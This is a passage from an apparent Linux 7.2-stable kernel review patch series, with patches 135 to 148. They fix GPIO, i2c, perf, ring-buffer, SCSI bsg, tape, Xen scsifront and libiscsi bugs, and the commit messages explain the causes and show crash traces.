@@ -480,18 +479,22 @@ int gpio_shared_add_proxy_lookup(structif (!key)return -ENOMEM ; - lookup =kzalloc_flex (*lookup, table,2 ); + struct gpiod_lookup_table *lookup __free(kfree) = +kzalloc_flex (*lookup, table,2 );if (!lookup)return -ENOMEM ;pr_debug ("Adding machine lookup entry for a shared GPIO for consumer %s, with key '%s' and con_id '%s'\n" , dev_id, key, ref->con_id ?:"none" ); - lookup->dev_id = dev_id; + lookup->dev_id =kstrdup (dev_id,GFP_KERNEL ); +if (!lookup->dev_id) +return -ENOMEM ; + lookup->table[0 ] =GPIO_LOOKUP (no_free_ptr (key),0 , ref->con_id, lflags); - ref->lookup = lookup; + ref->lookup =no_free_ptr (lookup);gpiod_add_lookup_table (ref->lookup);return 0 ;
@@ -611,6 +614,7 @@ void gpio_device_teardown_shared(structif (ref->lookup) {gpiod_remove_lookup_table (ref->lookup);kfree (ref->lookup->table[0 ].key); +kfree (ref->lookup->dev_id);kfree (ref->lookup); ref->lookup =NULL ; }
Greg Kroah-Hartman
maintainerPATCH 135/242 gpio: shared: gracefully handle no-device lookup of shared GPIOs
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Bartosz Golaszewski <[email protected]>
commit cf73c3fc03c43a8a86fd487c62390b4744eff9ec upstream.
We use platform lookup tables for shared GPIOs. This mechanism needs a struct device to work so fwnode-based lookup with no device associated currently causes a NULL-pointer deference.
Adding this functionality will require a larger rework and it has never worked anyway so add a check that allows the kernel to gracefully handle this situation with an error ahead of implementing that functionality as a new feature.
--- drivers/gpio/gpiolib-shared.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-)
drivers/gpio/gpiolib-shared.c +6 -1
@@ -449,9 +449,14 @@ static bool gpio_shared_dev_is_reset_gpio(struct device *consumer,int gpio_shared_add_proxy_lookup (struct device *consumer,struct fwnode_handle *fwnode,const char *con_id,unsigned long lflags) { -const char *dev_id =dev_name (consumer);struct gpio_shared_entry *entry;struct gpio_shared_ref *ref; +const char *dev_id; + +if (!consumer) +return -EOPNOTSUPP ; + + dev_id =dev_name (consumer);list_for_each_entry (entry, &gpio_shared_list, list) {list_for_each_entry (ref, &entry->refs, list) {
Signature · 1 line
2.56.0
Greg Kroah-Hartman
maintainerPATCH 136/242 i2c: qcom-cci: Fix HALT_ACK reset request being dropped
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Loic Poulain <[email protected]>
commit 195f3d74b5de98969dc4fad956393bb00787efd1 upstream.
A HALT_ACK interrupt indicates that the corresponding I2C master has entered the halted state and must be reset before further operation.
The M0 and M1 HALT_ACK status bits may be asserted simultaneously in a single interrupt. However, the interrupt handler currently overwrites the reset mask when processing each HALT_ACK condition, causing the first reset request to be lost if both events are reported together.
Accumulate reset requests instead of overwriting them so that both masters are properly reset when M0 and M1 HALT_ACK events occur in the same interrupt.
--- drivers/i2c/busses/i2c-qcom-cci.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-)
drivers/i2c/busses/i2c-qcom-cci.c +2 -2
@@ -164,12 +164,12 @@ static irqreturn_t cci_isr(int irq, void }if (unlikely (val &CCI_IRQ_STATUS_0_I2C_M0_Q0Q1_HALT_ACK )) { - reset =CCI_RESET_CMD_M0_MASK ; + reset |=CCI_RESET_CMD_M0_MASK ; ret =IRQ_HANDLED ; }if (unlikely (val &CCI_IRQ_STATUS_0_I2C_M1_Q0Q1_HALT_ACK )) { - reset =CCI_RESET_CMD_M1_MASK ; + reset |=CCI_RESET_CMD_M1_MASK ; ret =IRQ_HANDLED ; }
Greg Kroah-Hartman
maintainerPATCH 137/242 i2c: viai2c-wmt: Fix clock leak in wmt_i2c_probe()
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Wentao Liang <[email protected]>
commit aaabefc79b0ff0018e8e3832169bbe359d0551fc upstream.
In wmt_i2c_probe(), i2c->clk is acquired using of_clk_get(). If any subsequent operation fails or when the module is unloaded, the clock reference count is never decremented via clk_put(), leading to a resource leak.
Switch to devm_clk_get() so that the clock is automatically managed and released.
--- drivers/i2c/busses/i2c-viai2c-wmt.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/i2c/busses/i2c-viai2c-wmt.c +1 -1
@@ -117,7 +117,7 @@ static int wmt_i2c_probe(struct platformreturn dev_err_probe (&pdev->dev, err,"failed to request irq %i\n" , i2c->irq); - i2c->clk =of_clk_get (np,0 ); + i2c->clk =devm_clk_get (&pdev->dev,NULL );if (IS_ERR (i2c->clk))return dev_err_probe (&pdev->dev,PTR_ERR (i2c->clk),"unable to request clock\n" );
Greg Kroah-Hartman
maintainerPATCH 139/242 perf: Track the perf mlock gift separately
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Lorenzo Stoakes (ARM) <[email protected]>
commit 78436f3882fb8d848c823bf8cf754988202c5ca5 upstream.
The locked_vm field in struct user_struct was originally introduced by commit 789f90fcf6b0 ("perf_counter: per user mlock gift") to provide an mlock-like budget for perf measured against mm->pinned_vm (since 2011).
perf grants each user a 'gift' of perf_event_mlock_kb * online CPUs of buffer pages which is charged to user->locked_vm without any RLIMIT_MEMLOCK check.
Only pages beyond the gift are checked against RLIMIT_MEMLOCK, per-mm, via mm->pinned_vm, which makes it different from the standard mlock() check, which is per-mm and made against RLIMIT_MEMLOCK.
However, since this was introduced, a number of other components have utilised this field where a shared resource needed to be limited against RLIMIT_MEMLOCK.
The other users are currently MSG_ZEROCOPY, io_uring, AF_XDP, iommufd, s390 KVM zPCI and most recently, secretmem in commit 97d34aa65c29 ("mm/secretmem: properly account locked pages").
This field is shared between all of these, but because the gift is not checked against RLIMIT_MEMLOCK, user->locked_vm alone can exceed it - 16 CPUs * 516 KiB is already more than the default 8 MiB - after which every other user of the field fails unconditionally.
This was reported by a user who saw secretmem failing while running a simultaneous perf record.
Resolve the issue by simply giving perf its own field separate from the rest.
BPF used user->locked_vm up until commit 80ee81e0403c ("bpf: Eliminate rlimit-based memory accounting infra for bpf maps") which landed in 5.11.
Thus also eliminate the now-defunct ifdef for CONFIG_BPF_SYSCALL for user->locked_vm.
This issue exists between all of the components which use user->locked_vm and perf, however secretmem is the first user who has caused a report over many years and has been backported, so target the fix at that.
--- include/linux/sched/user.h | 8 +++++--- kernel/events/core.c | 12 ++++++------ 2 files changed, 11 insertions(+), 9 deletions(-)
include/linux/sched/user.h +5 -3
@@ -23,11 +23,13 @@ struct user_struct {struct hlist_node uidhash_node;kuid_t uid; -#if defined(CONFIG_PERF_EVENTS ) || defined(CONFIG_BPF_SYSCALL ) || \ - defined(CONFIG_NET ) || defined(CONFIG_IO_URING ) || \ +#if defined(CONFIG_NET ) || defined(CONFIG_IO_URING ) || \ defined(CONFIG_VFIO_PCI_ZDEV_KVM ) ||IS_ENABLED (CONFIG_IOMMUFD ) || \ defined(CONFIG_SECRETMEM ) -atomic_long_t locked_vm; +atomic_long_t locked_vm;/* pinned pages charged to RLIMIT_MEMLOCK */ +#endif +#ifdef CONFIG_PERF_EVENTS +atomic_long_t perf_mlock;/* perf buffer pages within perf_event_mlock_kb */ #endif #ifdef CONFIG_WATCH_QUEUE atomic_t nr_watches;/* The number of watches this user currently has */
kernel/events/core.c +6 -6
@@ -7059,7 +7059,7 @@ static void perf_mmap_close(struct vm_arperf_pmu_output_stop (event);/* now it's safe to free the pages */ -atomic_long_sub (rb->aux_nr_pages - rb->aux_mmap_locked, &mmap_user->locked_vm); +atomic_long_sub (rb->aux_nr_pages - rb->aux_mmap_locked, &mmap_user->perf_mlock);atomic64_sub (rb->aux_mmap_locked, &vma->vm_mm->pinned_vm);/* this has to be the last one */
@@ -7241,11 +7241,11 @@ static bool perf_mmap_calc_limits(struct/* Increase the limit linearly with more CPUs */ user_lock_limit *=num_online_cpus (); - user_locked =atomic_long_read (&user->locked_vm); + user_locked =atomic_long_read (&user->perf_mlock);/* * sysctl_perf_event_mlock may have changed, so that -* user->locked_vm > user_lock_limit +* user->perf_mlock > user_lock_limit */ if (user_locked > user_lock_limit) user_locked = user_lock_limit;
@@ -7253,7 +7253,7 @@ static bool perf_mmap_calc_limits(structif (user_locked > user_lock_limit) {/* -* charge locked_vm until it hits user_lock_limit; +* charge perf_mlock until it hits user_lock_limit; * charge the rest from pinned_vm */ *extra = user_locked - user_lock_limit;
@@ -7271,7 +7271,7 @@ static void perf_mmap_account(struct vm_ {struct user_struct *user =current_user (); -atomic_long_add (user_extra, &user->locked_vm); +atomic_long_add (user_extra, &user->perf_mlock);atomic64_add (extra, &vma->vm_mm->pinned_vm); }
@@ -7280,7 +7280,7 @@ static void perf_mmap_unaccount(struct vstruct user_struct *user = rb->mmap_user;atomic_long_sub ((perf_data_size (rb) >>PAGE_SHIFT ) +1 - rb->mmap_locked, - &user->locked_vm); + &user->perf_mlock);atomic64_sub (rb->mmap_locked, &vma->vm_mm->pinned_vm); }
Greg Kroah-Hartman
maintainerPATCH 140/242 perf: Update cgroup time when rotating multiplexed events
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Antoine Huret <[email protected]>
commit e4c7c401c6b9174c0c893084fdaa6a84bd2520d7 upstream.
Since commit bd2756811766 ("perf: Rewrite core context handling"), perf_rotate_context() only updates the context time before scheduling out the flexible events. It no longer updates the cgroup time, which ctx_sched_out() used to do.
Cgroup events take their times from the per-cpu cgroup clock, so between two cgroup switches the rotations see a frozen clock. The events rotated out lose the running time they accumulated, and the next update, usually a read, credits the whole interval to the events that happen to be on the PMU at that moment.
As a result, the time_running of multiplexed cgroup events is wrong, and so are their scaled counts, as long as no other cgroup runs on the CPU, e.g. a busy job alone on its CPUs. Counting cycles over one second of a busy loop in a cgroup gives from half to several times the max frequency of the CPU.
Update the cgroup time before rotating the CPU context, as was done before the rewrite.
--- kernel/events/core.c | 1 + 1 file changed, 1 insertion(+)
kernel/events/core.c +1 -0
@@ -4639,6 +4639,7 @@ static bool perf_rotate_context(struct pif (cpu_event) {update_context_time (&cpuctx->ctx); +update_cgrp_time_from_cpuctx (cpuctx, false);__pmu_ctx_sched_out (cpu_epc,EVENT_FLEXIBLE );rotate_ctx (&cpuctx->ctx, cpu_event);__pmu_ctx_sched_in (cpu_epc,EVENT_FLEXIBLE );
Greg Kroah-Hartman
maintainerPATCH 141/242 ring-buffer: Do not show buffer_meta for CPUs without a buffer
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: David Carlier <[email protected]>
commit 3f23cae09a4677a3f7c163a68388512cb231ff22 upstream.
The per_cpu/cpuN/buffer_meta files are created for every possible CPU, but buffer->buffers[cpu] is only allocated once that CPU comes online. Reading the file of a CPU that never came online dereferences a NULL cpu_buffer in rbm_start().
Fail the open with -ENODEV when the CPU has no buffer, as the other per CPU ring buffer interfaces do.
--- kernel/trace/ring_buffer.c | 3 +++ 1 file changed, 3 insertions(+)
kernel/trace/ring_buffer.c +3 -0
@@ -2362,6 +2362,9 @@ int ring_buffer_meta_seq_init(struct filstruct seq_file *m;int ret; +if (!cpumask_test_cpu (cpu, buffer->cpumask)) +return -ENODEV ; + ret =seq_open (file, &rb_meta_seq_ops);if (ret)return ret;
Greg Kroah-Hartman
maintainerPATCH 142/242 ring-buffer: Fix the sub-buffer array base in rb_meta_subbuf_idx()
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Donggeun Yoo <[email protected]>
commit 25132363c723afc39aace8b098f547ab4a0ea759 upstream.
On a persistent ring buffer, rb_meta_subbuf_idx() can return an index one sub-buffer too high. rb_setup_ids_meta_page() then fills subbuf_ids[] shifted by one and leaves subbuf_ids[0] NULL, which __rb_map_vma() dereferences when userspace maps trace_pipe_raw. rb_update_meta_reader() writes two such indices into meta->buffers[], which rb_cpu_meta_valid() would reject on the next boot, discarding the previous boot's trace.
A CPU's sub-buffer array starts after its meta header and the nr_subbufs integers that follow, aligned up to a sub-buffer. rb_meta_subbuf_idx() inverts that calculation but skips only the integers, not the header, so its base is one sub-buffer low whenever the omitted header size crosses the alignment boundary.
Invert the calculation with rb_subbufs_from_meta() rather than repeating it. rb_range_buffer() maps an index back to an address through the same helper, so the two directions can no longer disagree.
--- kernel/trace/ring_buffer.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-)
kernel/trace/ring_buffer.c +1 -3
@@ -3616,10 +3616,8 @@ static void rb_inc_iter(struct ring_buff/* Return the index into the sub-buffers for a given sub-buffer */ static int rb_meta_subbuf_idx (struct ring_buffer_cpu_meta *meta,void *subbuf) { -void *subbuf_array; +void *subbuf_array =rb_subbufs_from_meta (meta); - subbuf_array = (void *)meta +sizeof (int ) * meta->nr_subbufs; - subbuf_array = (void *)ALIGN ((unsigned long )subbuf_array, meta->subbuf_size);return (subbuf - subbuf_array) / meta->subbuf_size; }
Greg Kroah-Hartman
maintainerPATCH 143/242 ring-buffer: Fix false warning in ring_buffer_map_get_reader()
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Krystian Kaniewski <[email protected]>
commit 89bab1dba8a0167ef0d819e0f55b6bafa038e87f upstream.
The mmap reader can warn when it catches up with a writer that is still committing events. rb_get_reader_page() returns NULL in this case, but ring_buffer_map_get_reader() treats that result as an error.
The initial rb_per_cpu_empty() check filters out an empty buffer, but it does not guarantee that the next reader page has committed data. Writers do not take reader_lock and can advance commit_page before publishing the committed length on the new page. rb_get_reader_page() can swap to that page, catch up with the writer and return NULL.
Handle NULL through the existing no-data exit without warning. Remove the caller's reader_page == commit_page check as well, since the reader-page helper already handles that case. The existing metadata update and return path remain in place.
--- kernel/trace/ring_buffer.c | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-)
kernel/trace/ring_buffer.c +1 -5
@@ -7982,12 +7982,8 @@ consume: goto out; } -/* Did the reader catch up with the writer? */ -if (cpu_buffer->reader_page == cpu_buffer->commit_page) - goto out; - reader =rb_get_reader_page (cpu_buffer); -if (WARN_ON (!reader)) +if (!reader) goto out;/* Check if any events were dropped */
Greg Kroah-Hartman
maintainerPATCH 144/242 scsi: bsg: Pass reply_len to bsg_setup_queue() to fit UFS ARPMB replies
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Stanley Jhu <[email protected]>
commit ec6b083915e8146e147314a5f4f1285d07b57bfc upstream.
bsg-lib allocates a 96-byte (SCSI_SENSE_BUFFERSIZE) reply buffer per job, but struct ufs_rpmb_reply is 104 bytes: a 40-byte struct ufs_bsg_reply followed by a 64-byte EHS. When an Advanced RPMB command returns an EHS, ufshcd_advanced_rpmb_req_handler() copies it right after the 40-byte header and writes 8 bytes past the end of the buffer.
Let each BSG transport pass its reply buffer size to bsg_setup_queue() and have ufs_bsg request sizeof(struct ufs_rpmb_reply), so the full reply reaches user space. Other transports keep SCSI_SENSE_BUFFERSIZE.
--- block/bsg-lib.c | 13 ++++++++++--- drivers/scsi/mpi3mr/mpi3mr_app.c | 2 +- drivers/scsi/scsi_transport_fc.c | 6 ++++-- drivers/scsi/scsi_transport_iscsi.c | 2 +- drivers/scsi/scsi_transport_sas.c | 6 ++++-- drivers/ufs/core/ufs_bsg.c | 2 +- include/linux/bsg-lib.h | 3 ++- 7 files changed, 23 insertions(+), 11 deletions(-)
block/bsg-lib.c +10 -3
@@ -23,11 +23,14 @@ struct bsg_set {struct bsg_device *bd;bsg_job_fn *job_fn;bsg_timeout_fn *timeout_fn; +unsigned int reply_len; };static int bsg_transport_sg_io_fn (struct request_queue *q,struct sg_io_v4 *hdr,bool open_for_write,unsigned int timeout) { +struct bsg_set *bset = + container_of(q->tag_set, struct bsg_set, tag_set);struct bsg_job *job;struct request *rq;struct bio *bio;
@@ -50,7 +53,7 @@ static int bsg_transport_sg_io_fn(struct reply = job->reply;memset (job,0 ,sizeof (*job)); job->reply = reply; - job->reply_len =SCSI_SENSE_BUFFERSIZE ; + job->reply_len = bset->reply_len; job->dd_data = job +1 ; job->request_len = hdr->request_len;
@@ -301,9 +304,10 @@ out:static int bsg_init_rq (struct blk_mq_tag_set *set,struct request *req,unsigned int hctx_idx,int numa_node) { + struct bsg_set *bset = container_of(set, struct bsg_set, tag_set);struct bsg_job *job =blk_mq_rq_to_pdu (req); - job->reply =kzalloc (SCSI_SENSE_BUFFERSIZE ,GFP_KERNEL ); + job->reply =kzalloc (bset->reply_len,GFP_KERNEL );if (!job->reply)return -ENOMEM ;return 0 ;
@@ -358,10 +362,12 @@ static const struct blk_mq_ops bsg_mq_op* @job_fn: bsg job handler * @timeout: timeout handler function pointer * @dd_job_size: size of LLD data needed for each job +* @reply_len: size of the reply buffer needed for each job */ struct request_queue *bsg_setup_queue (struct device *dev,const char *name,struct queue_limits *lim,bsg_job_fn *job_fn, -bsg_timeout_fn *timeout,int dd_job_size) +bsg_timeout_fn *timeout,int dd_job_size, +unsigned int reply_len) {struct bsg_set *bset;struct blk_mq_tag_set *set;
@@ -374,6 +380,7 @@ struct request_queue *bsg_setup_queue(st bset->job_fn = job_fn; bset->timeout_fn = timeout; + bset->reply_len = reply_len; set = &bset->tag_set; set->ops = &bsg_mq_ops;
drivers/scsi/mpi3mr/mpi3mr_app.c +1 -1
@@ -3053,7 +3053,7 @@ void mpi3mr_bsg_init(struct mpi3mr_ioc * } q =bsg_setup_queue (bsg_dev,dev_name (bsg_dev), &lim, - mpi3mr_bsg_request,NULL ,0 ); + mpi3mr_bsg_request,NULL ,0 ,SCSI_SENSE_BUFFERSIZE );if (IS_ERR (q)) {ioc_err (mrioc,"%s: bsg registration failed\n" ,dev_name (bsg_dev));
drivers/scsi/scsi_transport_fc.c +4 -2
@@ -4345,7 +4345,8 @@ fc_bsg_hostadd(struct Scsi_Host *shost,scsi_init_limits (shost, &lim); lim.max_segments =min_not_zero (lim.max_segments, i->f->max_bsg_segments); q =bsg_setup_queue (dev, bsg_name, &lim, fc_bsg_dispatch, - fc_bsg_job_timeout, i->f->dd_bsg_size); + fc_bsg_job_timeout, i->f->dd_bsg_size, +SCSI_SENSE_BUFFERSIZE );if (IS_ERR (q)) { dev_err(dev, "fc_host%d: bsg interface failed to initialize - setup queue\n",
@@ -4378,7 +4379,8 @@ fc_bsg_rportadd(struct Scsi_Host *shost,scsi_init_limits (shost, &lim); lim.max_segments =min_not_zero (lim.max_segments, i->f->max_bsg_segments); q =bsg_setup_queue (dev,dev_name (dev), &lim, fc_bsg_dispatch_prep, - fc_bsg_job_timeout, i->f->dd_bsg_size); + fc_bsg_job_timeout, i->f->dd_bsg_size, +SCSI_SENSE_BUFFERSIZE );if (IS_ERR (q)) {dev_err (dev,"failed to setup bsg queue\n" );return PTR_ERR (q);
drivers/scsi/scsi_transport_iscsi.c +1 -1
@@ -1545,7 +1545,7 @@ iscsi_bsg_host_add(struct Scsi_Host *shosnprintf (bsg_name,sizeof (bsg_name),"iscsi_host%d" , shost->host_no);scsi_init_limits (shost, &lim); q =bsg_setup_queue (dev, bsg_name, &lim, iscsi_bsg_host_dispatch,NULL , -0 ); +0 ,SCSI_SENSE_BUFFERSIZE );if (IS_ERR (q)) {shost_printk (KERN_ERR , shost,"bsg interface failed to " "initialize - no request queue\n" );
drivers/scsi/scsi_transport_sas.c +4 -2
@@ -199,7 +199,8 @@ static int sas_bsg_initialize(struct Scsif (rphy) { q =bsg_setup_queue (&rphy->dev,dev_name (&rphy->dev),NULL , - sas_smp_dispatch,NULL ,0 ); + sas_smp_dispatch,NULL ,0 , +SCSI_SENSE_BUFFERSIZE );if (IS_ERR (q))return PTR_ERR (q); rphy->q = q;
@@ -208,7 +209,8 @@ static int sas_bsg_initialize(struct Scssnprintf (name,sizeof (name),"sas_host%d" , shost->host_no); q =bsg_setup_queue (&shost->shost_gendev, name,NULL , - sas_smp_dispatch,NULL ,0 ); + sas_smp_dispatch,NULL ,0 , +SCSI_SENSE_BUFFERSIZE );if (IS_ERR (q))return PTR_ERR (q);to_sas_host_attrs (shost)->q = q;
drivers/ufs/core/ufs_bsg.c +1 -1
@@ -257,7 +257,7 @@ int ufs_bsg_probe(struct ufs_hba *hba) goto out; q =bsg_setup_queue (bsg_dev,dev_name (bsg_dev),NULL , ufs_bsg_request, -NULL ,0 ); +NULL ,0 ,sizeof (struct ufs_rpmb_reply ));if (IS_ERR (q)) { ret =PTR_ERR (q);device_del (bsg_dev);
include/linux/bsg-lib.h +2 -1
@@ -66,7 +66,8 @@ void bsg_job_done(struct bsg_job *job, i unsigned int reply_payload_rcv_len);struct request_queue *bsg_setup_queue (struct device *dev,const char *name,struct queue_limits *lim,bsg_job_fn *job_fn, -bsg_timeout_fn *timeout,int dd_job_size); +bsg_timeout_fn *timeout,int dd_job_size, +unsigned int reply_len);void bsg_remove_queue (struct request_queue *q);void bsg_job_put (struct bsg_job *job);int __must_check bsg_job_get (struct bsg_job *job);
Greg Kroah-Hartman
maintainerPATCH 145/242 scsi: st: Fix use-after-free race between st_remove() and st_open()
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Laurence Oberman <[email protected]>
commit 71caf7f84bd62a4bf91cc95abd2de690afb8d15f upstream.
st_remove() drops the probe reference on the scsi_tape with kref_put() and only afterwards removes its index from st_index_idr. If that was the last reference, scsi_tape_release() frees the structure while it is still published in the idr.
scsi_tape_get(), called from st_open(), looks up the tape in st_index_idr and takes a reference under st_ref_mutex and st_index_lock. remove_cdevs() does not wait for opens that are already past chrdev_open(), so an open that is blocked on st_ref_mutex while st_remove() holds it can take the mutex as soon as st_remove() drops it, find the freed tpnt in the idr and call kref_get() on it:
BUG: KASAN: slab-use-after-free in st_open Write of size 4 ... st_open (drivers/scsi/st.c:254 drivers/scsi/st.c:1291) chrdev_open ... Freed by task ...: kfree st_remove (drivers/scsi/st.c:4512)
Remove the index from the idr before dropping the reference, all under st_ref_mutex. A concurrent scsi_tape_get() now either runs first and holds a valid reference that keeps the tape alive, or runs afterwards and finds nothing, so st_open() fails with -ENXIO.
This restores the ordering st_remove() had before the conversion to st_index_idr, where the tape was unpublished from scsi_tapes[] before the final kref_put().
--- drivers/scsi/st.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-)
drivers/scsi/st.c +2 -2
@@ -4515,11 +4515,11 @@ static void st_remove(struct scsi_deviceremove_cdevs (tpnt);mutex_lock (&st_ref_mutex); -kref_put (&tpnt->kref, scsi_tape_release); -mutex_unlock (&st_ref_mutex);spin_lock (&st_index_lock);idr_remove (&st_index_idr, index);spin_unlock (&st_index_lock); +kref_put (&tpnt->kref, scsi_tape_release); +mutex_unlock (&st_ref_mutex); }/**
Greg Kroah-Hartman
maintainerPATCH 146/242 scsi: xen/scsifront: Check for a NULL shadow entry on a backend response
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Yehyeong Lee <[email protected]>
commit 8c8222c255772713eb36cde695777a1fce224917 upstream.
scsifront_do_response() validates the rqid in a backend response against VSCSIIF_MAX_REQS before using it to index info->shadow[], but then dereferences the entry to test ->inflight without checking that the slot is populated. Shadow slots are NULL before a command is submitted (the host private area is zeroed at allocation) and are reset to NULL in _scsifront_put_rqid() once a request completes, so an in-range rqid that does not correspond to an outstanding request makes the frontend dereference a NULL pointer.
A malicious or buggy backend can thus crash the guest by returning a response whose rqid is in range but not in flight -- for example a spurious response before any command has been issued, or a duplicate of one already completed. The ring has only VSCSIIF_MAX_REQS (16) slots, so before the first command every in-range rqid selects a NULL slot.
Reject a response whose shadow slot is not populated.
--- drivers/scsi/xen-scsifront.c | 1 + 1 file changed, 1 insertion(+)
drivers/scsi/xen-scsifront.c +1 -0
@@ -367,6 +367,7 @@ static void scsifront_do_response(structstruct vscsifrnt_shadow *shadow;if (ring_rsp->rqid >=VSCSIIF_MAX_REQS || + !info->shadow[ring_rsp->rqid] || !info->shadow[ring_rsp->rqid]->inflight) {scsifront_set_error (info,"illegal rqid returned by backend!" );return ;
Greg Kroah-Hartman
maintainerPATCH 147/242 scsi: libiscsi: Reject a negative task index from parse_pdu_itt
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Yehyeong Lee <[email protected]>
commit 8ee2a09a1dbb257c9e828ad2497f8e4832dfb142 upstream.
A transport that implements parse_pdu_itt hands libiscsi an index taken from the PDU, and both lookups bound it from above only:
if (i >= session->cmds_max)
i and cmds_max are both int, so a negative index passes and session->cmds[i] is read from before the array.
be2iscsi produces one. beiscsi_parse_pdu() assigns the raw tag,
*index = (int)itt;
and beiscsi_complete_pdu() forwards an unsolicited NOP-In from the hardware async ring without replacing its ITT, so the value is the target's. It also reports the session's own age rather than the one in the tag, which leaves the age comparison in iscsi_verify_itt() with nothing to reject.
Bound the index from below in both lookups.
--- drivers/scsi/libiscsi.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-)
drivers/scsi/libiscsi.c +2 -2
@@ -1191,7 +1191,7 @@ struct iscsi_task *iscsi_itt_to_task(str session->tt->parse_pdu_itt (conn, itt, &i,NULL ); else i =get_itt (itt); -if (i >= session->cmds_max) +if (i <0 || i >= session->cmds_max)return NULL ;return session->cmds[i];
@@ -1384,7 +1384,7 @@ int iscsi_verify_itt(struct iscsi_conn *return ISCSI_ERR_BAD_ITT ; } -if (i >= session->cmds_max) { +if (i <0 || i >= session->cmds_max) {iscsi_conn_printk (KERN_ERR , conn,"received invalid itt index %u (max cmds " "%u.\n" , i, session->cmds_max);
Greg Kroah-Hartman
maintainerPATCH 148/242 scsi: libiscsi: Validate the ITT reflected in a Reject PDU
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Yehyeong Lee <[email protected]>
commit c5958c770b2a0ee492414e26b07da9164a0d1f5d upstream.
A Reject PDU carries a copy of the header it rejects, and iscsi_handle_reject() takes the ITT out of that copy to find the task to clean up:
memcpy(&rejected_pdu, data, sizeof(struct iscsi_hdr));
...
task = iscsi_itt_to_task(conn, rejected_pdu.itt);That value is whatever the target put there. iscsi_itt_to_task() bounds the index against cmds_max and checks nothing else, so any task in the pool can be named, and iscsi_nop_out_rsp() then completes it.
An index that has never been used gives a NULL task->conn: the pool is zeroed at session setup and conn is assigned only when a task is allocated. If the task was used and returned, iscsi_complete_task() hits its WARN_ON_ONCE(task->state == ISCSI_TASK_FREE) and the refcount underflows. An in-flight SCSI command is completed as successful - a 1 MiB read returned 1048576 with none of its buffer written and no warning.
Validate the reflected ITT the way iscsi_itt_to_ctask() validates a command ITT, and require the task to be in flight and not a SCSI command.
[ 6.248477] Oops: general protection fault, probably for non-canonical address 0xdffffc000000000c: 0000 [#1] SMP KASAN NOPTI [ 6.249357] KASAN: null-ptr-deref in range [0x0000000000000060-0x0000000000000067] [ 6.249951] CPU: 1 UID: 0 PID: 0 Comm: swapper/1 Not tainted 7.2.0-rc5-ISCSI1-gf5098b6bae76 #1 PREEMPT(lazy) [ 6.250718] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 6.251616] RIP: 0010:iscsi_nop_out_rsp.constprop.0+0x46/0x160 [ 6.252043] Code: c1 ea 03 48 83 ec 08 80 3c 02 00 0f 85 f5 00 00 00 48 b8 00 00 00 00 00 fc ff df 48 8b 6b 58 48 8d 7d 60 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 c0 00 00 00 48 8b 45 60 48 39 c3 74 50 48 b8 00 [ 6.252813] RSP: 0018:ffff88806c907b80 EFLAGS: 00010206 [ 6.253042] RAX: dffffc0000000000 RBX: ffff88800607e000 RCX: ffffffff8d571a25 [ 6.253345] RDX: 000000000000000c RSI: ffff88806c907c38 RDI: 0000000000000060 [ 6.253642] RBP: 0000000000000000 R08: 0000000000000000 R09: fffffbfff235a504 [ 6.253947] R10: 0000000000000003 R11: 7463656e6e6f6320 R12: 0000000000000000 [ 6.254251] R13: 0000000000000000 R14: ffff88806c907c38 R15: 0000000000000000 [ 6.254549] FS: 0000000000000000(0000) GS:ffff8880d95bc000(0000) knlGS:0000000000000000 [ 6.254887] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 6.255140] CR2: 00007fc393e8ffc0 CR3: 0000000005252006 CR4: 0000000000770ef0 [ 6.255439] PKRU: 55555554 [ 6.255564] Call Trace: [ 6.255674] <IRQ> [ 6.255768] __iscsi_complete_pdu+0x18bf/0x22a0 [ 6.256733] iscsi_complete_pdu+0x54/0xa0 [ 6.256905] iscsi_tcp_data_recv_done+0xf4/0x250 [ 6.257103] iscsi_tcp_recv_skb+0x31e/0xec0 [ 6.257680] iscsi_sw_tcp_recv+0x12f/0x390 [ 6.258061] __tcp_read_sock+0x1ab/0x810 [ 6.258853] iscsi_sw_tcp_data_ready+0x18b/0x510 [ 6.259808] tcp_data_queue+0x1f13/0x4cd0 [ 6.260567] tcp_rcv_established+0x8a5/0x3a00 [ 6.261931] tcp_v4_do_rcv+0x449/0x960 [ 6.262269] tcp_v4_rcv+0x2245/0x3bc0
--- drivers/scsi/libiscsi.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-)
drivers/scsi/libiscsi.c +5 -3
